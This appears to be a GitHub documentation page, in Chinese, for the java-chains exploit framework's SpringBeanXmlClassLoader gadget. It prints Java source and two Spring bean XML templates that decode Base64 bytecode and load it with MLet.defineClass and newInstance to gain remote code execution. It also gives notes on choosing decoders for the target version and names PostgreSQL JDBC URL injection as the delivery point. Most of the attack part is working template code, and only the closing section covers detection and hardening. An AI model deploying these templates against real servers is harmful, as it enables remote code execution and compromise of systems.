Skip to content

Latest commit

 

History

History
137 lines (103 loc) · 11.4 KB

File metadata and controls

137 lines (103 loc) · 11.4 KB

将字节码封装进spring bean.xml中,返回xml文件内容(SpringBeanXmlClassLoader)

  • 类别:common 别名:sbxcl 优先级:20
  • 作者:小晨曦
  • 依赖spring-bean(目标侧需具备 Spring beans 相关类:ClassPathXmlApplicationContext / MethodInvokingFactoryBean
  • 实现:直接实现 com.ar3h.chains.common.Gadget(无基类)

作用

这是一个产物为文件(XML 文本)而非序列化对象的特殊构件。它把下游产出的恶意字节码编码后,拼进一段 Spring bean 定义 XMLbeans 命名空间),使得任何会以 ClassPathXmlApplicationContext(或等价方式)加载该 XML 的场景,在解析 bean 时:先用 Base64 解码器把字节码解成 byte[],再借 javax.management.loading.MLet 这个可无参构造的 ClassLoader 调用 defineClass 定义任意类,最后 newInstance() 实例化触发恶意类的构造/静态逻辑,达成 RCE。典型落地场景是 PostgreSQL JDBC url 等能被诱导加载远程/本地 Spring XML 的注入点。

注意:本构件的 invoke 返回值是一段 XML 字符串,并把该 XML 以随机 *.xml 文件名写入 ContextTag.CACHE_FILES_MAP,交由 java-chains 的文件托管机制对外提供。它不参与任何 Java 原生反序列化链的对象包装,因此配套的 Payload 入口是 OtherPayload(“输出文件内容”类)。

链接标签

  • 入口 tagsOther —— 归入“非序列化对象产物 / 其他类型”这一类入口,供 OtherPayload 直接取用其字符串产物。
  • 衔接 nextTagsBytecodeConvertTag —— 其下游必须是一个“把恶意逻辑转成 byte[] 字节码”的转换器(即 BytecodeConvert),本构件正是把该字节码嵌入 XML。
  • excludes:无。

源码剖析

1. invoke:取字节码 → 生成 XML

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    this.context = context;
    byte[] bytecode = (byte[]) chain.doCreate(context);   // 内层:BytecodeConvert 产出的恶意类字节码
    return this.getObject(bytecode);                       // 产物是 XML 文本,而非序列化对象
}

按知识库“由内向外”的构建约定,chain.doCreate(context) 先驱动下游链尾(Exec 生成命令执行逻辑 → BytecodeConvert 转成 byte[]),本构件拿到的就是这段可 defineClass 的类字节码。

2. getObject:按 base64 选模板并回填字节码

public String getObject(byte[] bytecode) {
    String payload = "";
    if ("org.springframework.util.Base64Utils.decodeFromString".equals(this.base64)) {
        payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
    } else if ("javax.xml.bind.DatatypeConverter.parseBase64Binary".equals(this.base64)) {
        payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
    } else if ("com.sun.org.apache.xml.internal.security.utils.Base64.decode".equals(this.base64)) {
        payload = String.format(template1, this.base64, Base64.encodeBase64String(bytecode), bytecode.length);
    } else if ("java.util.Base64".equals(this.base64)) {
        payload = String.format(template2, Base64.encodeBase64String(bytecode), bytecode.length);
    }
    HashMap<String, byte[]> fileMap = new HashMap<>();
    fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes());
    this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);   // 把 XML 以随机文件名交给工具托管
    return payload;
}

要点:

  • 生成侧编码固定用 commons-codec 的 Base64.encodeBase64String(bytecode)(标准、无换行 Base64),把字节码变成可放进 XML <value> 的文本。bytecode.length 作为 defineClass(b, off, len) 的第三个参数回填。
  • 解码侧由用户选的 base64 决定,分两套模板(见下)。
  • 产物 XML 被塞进 CACHE_FILES_MAP,文件名为 CommonUtil.getRandomString(10) + ".xml"——这样工具就能把它作为一个可被目标 ClassPathXmlApplicationContext 拉取的资源提供出去。

3. 模板一(template1):静态方法解码器

用于三种“单参静态解码方法”(Base64Utils.decodeFromString / DatatypeConverter.parseBase64Binary / xml.internal.security...Base64.decode)。核心结构(%s 依次为解码方法全名、Base64 文本、字节码长度):

<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="staticMethod" value="%s"/>      <!-- = this.base64,静态解码方法全名 -->
    <property name="arguments"><list><value>%s</value></list></property>  <!-- = Base64 文本 -->
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
    <constructor-arg ref="decoder"/>                <!-- byte[],即解码结果 -->
    <constructor-arg type="int" value="0"/>
    <constructor-arg type="int" value="%s"/>        <!-- = bytecode.length -->
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
  • MethodInvokingFactoryBean 是 Spring 提供的“调用任意方法并把返回值作为 bean”的工厂 bean;这里 staticMethod 指向解码方法、arguments 传入 Base64 文本,故 decoder bean 的值就是解出的 byte[]
  • classLoader bean 选 javax.management.loading.MLet 的关键原因:它是 java.net.URLClassLoader 的子类却带 public 无参构造器,因此能被 Spring 以 <bean class="...MLet"/> 直接实例化(而 URLClassLoader 无无参构造,无法这样声明)。
  • clazz bean 以 factory-bean=classLoader + factory-method=defineClass 调用 ClassLoader.defineClass(byte[], int, int)。该方法虽为 protected(继承自 ClassLoader),但 Spring 的工厂方法解析会通过反射定位到并 makeAccessible,于是把 byte[] 定义成一个真正的 Class
  • 末尾 factory-method="newInstance" 对定义出的类调用 Class.newInstance()——实例化即执行其无参构造/静态初始化,恶意逻辑(Exec 注入的命令执行)在此触发。

4. 模板二(template2):java.util.Base64 实例方法解码器

java.util.Base64 的解码不是单参静态方法,而是 Base64.getDecoder().decode(String),故需两步(%s 依次为 Base64 文本、字节码长度):

<bean id="base64DecoderInstance" class="java.util.Base64" factory-method="getDecoder"/>
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetObject" ref="base64DecoderInstance"/>
    <property name="targetMethod" value="decode"/>
    <property name="arguments"><list><value>%s</value></list></property>
</bean>
...(classLoader / clazz / newInstance 与模板一相同,clazz 的 length 回填 %s)

即先用 factory-method=getDecoder 取到 Base64.Decoder 实例,再用 MethodInvokingFactoryBeantargetObject+targetMethod=decode 调用其实例方法解码。其余 MLet.defineClassnewInstance 环节与模板一一致。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
base64 base64实现 目标侧用于把 Base64 文本解回 byte[] 的解码实现,决定采用 template1(静态方法)还是 template2java.util.Base64 实例方法);需与目标环境实际可用的类/版本匹配。 ParamType.Choice org.springframework.util.Base64Utils.decodeFromString 见下四项

四种 base64 取值及其适配性(源自 @Param.description):

  • org.springframework.util.Base64Utils.decodeFromString:spring-core 自带,会自动选择当前 JDK 版本最合适的解码方式;spring-core 6.2 之后被移除
  • javax.xml.bind.DatatypeConverter.parseBase64Binary:JDK 自带,JDK 11 后迁移至 Jakarta XML Binding,需要额外引入依赖。
  • java.util.Base64:JDK 自带,JDK 8 之后的 Base64 标准库(走 template2)。
  • com.sun.org.apache.xml.internal.security.utils.Base64.decode:JDK 1.4~8 可用但属 internal API,JDK 9+ 默认不导出,需 --add-exports

适用版本与原理要点

  • 触发前提:目标能以 ClassPathXmlApplicationContext(或等价的 Spring XML bean 加载器)解析本构件产出的 XML。常见注入面是 PostgreSQL JDBC url 等可被诱导加载外部 Spring XML 的场景(依赖 spring-bean)。
  • RCE 链路:Base64 解码 → MLet.defineClass 定义任意类 → Class.newInstance() 触发构造/静态块。因此嵌入的字节码需是一个无参可实例化、且构造/静态逻辑即执行 payload 的类——这正是链尾 Exec + BytecodeConvert 产出的字节码所满足的形态。
  • 解码器与环境匹配是成败关键base64 选项必须对准目标的 JDK / spring-core 版本,否则 bean 解析时找不到方法/类而失败。默认的 Base64Utils.decodeFromString 在 spring-core 6.2 已移除,较新 Spring 目标建议改用 java.util.Base64(JDK 8+ 稳定可用)。
  • MLet 的可用性javax.management.loading.MLet 属 JDK 管理扩展(java.management 模块),在标准 JRE/JDK 上普遍存在且有 public 无参构造,是本技巧选它作定义类载体的根本原因。
  • 生成侧固定使用 commons-codec 的 Base64.encodeBase64String(工具自身依赖),与目标解码器只需就“标准 Base64 字符集”达成一致即可互通。

所属预设链

关联

  • 下游(nextTags=BytecodeConvertTag):BytecodeConvert —— 把 Exec 的执行逻辑转成 byte[] 字节码交给本构件嵌入。
  • 链尾 sink:Exec —— 生成实际命令执行的类字节码。
  • 同类“文件产物 + 字节码装载”思路的构件:CharsetJarConvert2Other+BytecodeConvertTag,产出 charsets.jar 形态的字节码载体)。

防御与检测

  • 流量/文件特征:出站或落盘的 Spring beans XML 中出现 MethodInvokingFactoryBean 搭配 staticMethod/targetMethod=decodeclass="javax.management.loading.MLet"factory-method="defineClass"factory-method="newInstance" 等组合,且 <value> 内含大段 Base64——是本 gadget 的强指纹。随机 10 位小写文件名 + .xml 亦可作为辅助线索。
  • 注入面收敛:审查任何会调用 ClassPathXmlApplicationContext/GenericXmlApplicationContext 加载外部可控路径的代码;对 JDBC url(尤其 PostgreSQL 的 socketFactory/socketFactoryArg 等)参数做严格白名单,禁止指向攻击者可控的 XML。
  • 加固:升级/限制 Spring bean XML 加载来源,避免从不可信 URL/文件加载 bean 定义;在高版本 JDK 上以模块系统限制 java.management(MLet)与 internal Base64 的可达性(不加 --add-exports);对 MLet/defineClass 反射调用做运行时监控(RASP)。
  • 依赖治理:目标侧若不需要,可移除或隔离 MethodInvokingFactoryBean 之类“按名反射调用任意方法”的高危工厂 bean 使用面。